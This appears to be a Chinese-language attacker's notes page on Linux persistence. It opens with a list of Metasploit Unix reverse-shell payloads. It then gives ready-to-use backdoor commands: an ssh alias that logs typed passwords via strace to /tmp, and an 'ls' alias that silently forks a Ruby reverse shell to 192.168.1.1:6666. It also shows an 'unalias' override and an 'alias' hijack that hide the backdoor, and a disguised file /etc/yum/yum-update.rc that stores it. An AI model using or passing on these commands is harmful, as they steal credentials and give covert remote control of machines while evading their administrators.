cmd/unix/reverse Creates an interactive shell through two inbound connections cmd/unix/reverse_awk Creates an interactive shell via GNU AWK cmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature. cmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL. cmd/unix/reverse_bash_udp Creates an interactive shell via bash's builtin /dev/udp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/udp feature. cmd/unix/reverse_jjs Connect back and create a command shell via jjs cmd/unix/reverse_ksh Connect back and create a command shell via Ksh. Note: Although Ksh is often available, please be aware it isn't usually installed by default. cmd/unix/reverse_lua Creates an interactive shell via Lua cmd/unix/reverse_ncat_ssl Creates an interactive shell via ncat, utilizing ssl mode cmd/unix/reverse_netcat Creates an interactive shell via netcat cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat cmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell via nodejs cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections cmd/unix/reverse_perl Creates an interactive shell via perl cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL cmd/unix/reverse_python Connect back and create a command shell via Python cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design. cmd/unix/reverse_r Connect back and create a command shell via R cmd/unix/reverse_ruby Connect back and create a command shell via Ruby cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL cmd/unix/reverse_socat_udp Creates an interactive shell via socat cmd/unix/reverse_ssh Connect back and create a command shell via SSH cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option cmd/unix/reverse_stub Creates an interactive shell through an inbound connection (stub only, no payload) cmd/unix/reverse_tclsh Creates an interactive shell via Tclsh cmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'
创建alias后门
1 2 3 4 5 6 7 8 9
1) 受控端创建别名
alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.1.1"'"'","'"'"6666"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
2) 创建alias的别名
1 2 3 4
劫持前先将当前alias结果保存至比较隐蔽的文件 alias > /etc/gnupg/.gnupg
alias alias="cat /etc/gnupg/.gnupg"
3) 文件位置隐蔽
1 2 3 4 5 6 7 8 9 10 11 12
1) 在正常的位置创建合理的文件 vi /etc/yum/yum-update.rc //创建文件,加入别名设置
alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.1.1"'"'","'"'"6666"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'